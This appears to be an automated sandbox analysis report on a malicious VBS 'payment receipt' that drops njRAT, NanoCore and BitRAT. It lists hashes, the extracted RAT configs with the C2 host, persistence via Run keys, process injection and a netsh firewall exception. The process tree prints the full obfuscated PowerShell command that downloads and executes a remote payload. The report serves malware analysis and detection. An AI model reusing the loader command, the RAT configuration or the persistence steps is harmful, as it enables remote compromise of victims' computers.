Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
29-11-2021 19:58
Static task
static1
Behavioral task
behavioral1
Sample
8XN2B1_Payment_Receipt.vbs
Resource
win7-en-20211014
General
-
Target
8XN2B1_Payment_Receipt.vbs
-
Size
552B
-
MD5
7578770adaa094d49594be394effcb3b
-
SHA1
8d919e1d10a590babbb1e88707f41b5653080cba
-
SHA256
a9459089985852c3661d048010c4661523b904cd94f31fb245ca7d75ab220532
-
SHA512
363d36082d2be9e50ee113e7061ae1ecbd1096ab21d71e900281d94f7bfc34a546e3e15b42a95f03542dd8ceed0c0d6ce22ed36c7afba4e6344cdeeffc03593a
Malware Config
Extracted
njrat
1.9
HacKed
Microsoft.Exe
-
reg_key
Microsoft.Exe
Extracted
nanocore
1.2.2.0
jamcav.duckdns.org:6746
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
-
activate_away_mode
true
-
backup_connection_host
jamcav.duckdns.org
-
backup_dns_server
8.8.4.4
-
buffer_size
65535
-
build_time
2021-08-20T15:54:30.577245636Z
-
bypass_user_account_control
true
- bypass_user_account_control_data
-
clear_access_control
true
-
clear_zone_identifier
false
-
connect_delay
4000
-
connection_port
6746
-
default_group
jam
-
enable_debug_mode
true
-
gc_threshold
1.048576e+07
-
keep_alive_timeout
30000
-
keyboard_logging
false
-
lan_timeout
2500
-
max_packet_size
1.048576e+07
-
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
-
mutex_timeout
5000
-
prevent_system_sleep
false
-
primary_connection_host
jamcav.duckdns.org
-
primary_dns_server
8.8.8.8
-
request_elevation
true
-
restart_delay
5000
-
run_delay
0
-
run_on_startup
true
-
set_critical_process
true
-
timeout_interval
5000
-
use_custom_dns_server
false
-
version
1.2.2.0
-
wan_timeout
8000
Signatures
-
BitRAT Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2596-150-0x0000000000400000-0x00000000007E4000-memory.dmp family_bitrat behavioral2/memory/2596-156-0x0000000000400000-0x00000000007E4000-memory.dmp family_bitrat -
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
-
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
-
suricata: ET MALWARE Possible NanoCore C2 60B
suricata: ET MALWARE Possible NanoCore C2 60B
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 11 488 powershell.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule behavioral2/memory/2596-148-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral2/memory/2596-150-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral2/memory/2596-156-0x0000000000400000-0x00000000007E4000-memory.dmp upx -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
jsc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .." jsc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .." jsc.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
jsc.exepid process 2596 jsc.exe 2596 jsc.exe 2596 jsc.exe 2596 jsc.exe 2596 jsc.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exedescription pid process target process PID 488 set thread context of 2596 488 powershell.exe jsc.exe PID 488 set thread context of 2644 488 powershell.exe jsc.exe PID 488 set thread context of 1340 488 powershell.exe jsc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exejsc.exepid process 488 powershell.exe 488 powershell.exe 488 powershell.exe 1340 jsc.exe 1340 jsc.exe 1340 jsc.exe 1340 jsc.exe 1340 jsc.exe 1340 jsc.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
jsc.exepid process 1340 jsc.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exejsc.exejsc.exejsc.exedescription pid process Token: SeDebugPrivilege 488 powershell.exe Token: SeDebugPrivilege 1340 jsc.exe Token: SeShutdownPrivilege 2596 jsc.exe Token: SeDebugPrivilege 2644 jsc.exe Token: 33 2644 jsc.exe Token: SeIncBasePriorityPrivilege 2644 jsc.exe Token: 33 2644 jsc.exe Token: SeIncBasePriorityPrivilege 2644 jsc.exe Token: 33 2644 jsc.exe Token: SeIncBasePriorityPrivilege 2644 jsc.exe Token: 33 2644 jsc.exe Token: SeIncBasePriorityPrivilege 2644 jsc.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
jsc.exepid process 2596 jsc.exe 2596 jsc.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
WScript.exepowershell.exejsc.exedescription pid process target process PID 1000 wrote to memory of 488 1000 WScript.exe powershell.exe PID 1000 wrote to memory of 488 1000 WScript.exe powershell.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2596 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 2644 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 488 wrote to memory of 1340 488 powershell.exe jsc.exe PID 2644 wrote to memory of 1264 2644 jsc.exe netsh.exe PID 2644 wrote to memory of 1264 2644 jsc.exe netsh.exe PID 2644 wrote to memory of 1264 2644 jsc.exe netsh.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8XN2B1_Payment_Receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/itIqsM/bypa.txt')2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/488-164-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-119-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-120-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-121-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-122-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-123-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-124-0x0000020420A60000-0x0000020420A61000-memory.dmpFilesize
4KB
-
memory/488-125-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-126-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-128-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-127-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-129-0x000002043AF40000-0x000002043AF41000-memory.dmpFilesize
4KB
-
memory/488-130-0x000002041EE90000-0x000002041EE92000-memory.dmpFilesize
8KB
-
memory/488-134-0x0000020420880000-0x0000020420882000-memory.dmpFilesize
8KB
-
memory/488-135-0x0000020420883000-0x0000020420885000-memory.dmpFilesize
8KB
-
memory/488-136-0x0000020420886000-0x0000020420888000-memory.dmpFilesize
8KB
-
memory/488-147-0x000002043AED0000-0x000002043AED4000-memory.dmpFilesize
16KB
-
memory/488-118-0x0000000000000000-mapping.dmp
-
memory/1264-175-0x0000000000000000-mapping.dmp
-
memory/1340-177-0x0000000006CE0000-0x0000000006CED000-memory.dmpFilesize
52KB
-
memory/1340-174-0x0000000005870000-0x0000000005D6E000-memory.dmpFilesize
5.0MB
-
memory/1340-188-0x0000000006E00000-0x0000000006E0F000-memory.dmpFilesize
60KB
-
memory/1340-187-0x0000000006DC0000-0x0000000006DE9000-memory.dmpFilesize
164KB
-
memory/1340-186-0x0000000006DB0000-0x0000000006DBA000-memory.dmpFilesize
40KB
-
memory/1340-185-0x0000000006D90000-0x0000000006D9F000-memory.dmpFilesize
60KB
-
memory/1340-184-0x0000000006D80000-0x0000000006D82000-memory.dmpFilesize
8KB
-
memory/1340-161-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/1340-162-0x000000000041E792-mapping.dmp
-
memory/1340-183-0x0000000006D70000-0x0000000006D7D000-memory.dmpFilesize
52KB
-
memory/1340-169-0x0000000005830000-0x0000000005831000-memory.dmpFilesize
4KB
-
memory/1340-170-0x0000000005870000-0x0000000005D6E000-memory.dmpFilesize
5.0MB
-
memory/1340-171-0x0000000005900000-0x0000000005905000-memory.dmpFilesize
20KB
-
memory/1340-172-0x0000000005C00000-0x0000000005C19000-memory.dmpFilesize
100KB
-
memory/1340-173-0x0000000005D50000-0x0000000005D53000-memory.dmpFilesize
12KB
-
memory/1340-182-0x0000000006D60000-0x0000000006D67000-memory.dmpFilesize
28KB
-
memory/1340-181-0x0000000006D50000-0x0000000006D56000-memory.dmpFilesize
24KB
-
memory/1340-180-0x0000000006D40000-0x0000000006D4C000-memory.dmpFilesize
48KB
-
memory/1340-179-0x0000000006D30000-0x0000000006D36000-memory.dmpFilesize
24KB
-
memory/1340-178-0x0000000006CF0000-0x0000000006D05000-memory.dmpFilesize
84KB
-
memory/2596-148-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/2596-149-0x00000000007E2730-mapping.dmp
-
memory/2596-150-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/2596-156-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/2644-176-0x0000000005850000-0x0000000005D4E000-memory.dmpFilesize
5.0MB
-
memory/2644-152-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2644-159-0x0000000006250000-0x0000000006251000-memory.dmpFilesize
4KB
-
memory/2644-158-0x0000000005D50000-0x0000000005D51000-memory.dmpFilesize
4KB
-
memory/2644-157-0x00000000057B0000-0x00000000057B1000-memory.dmpFilesize
4KB
-
memory/2644-153-0x000000000040BBCE-mapping.dmp
-
memory/2644-189-0x00000000062F0000-0x00000000062F1000-memory.dmpFilesize
4KB
-
memory/2644-191-0x00000000065E0000-0x00000000065E1000-memory.dmpFilesize
4KB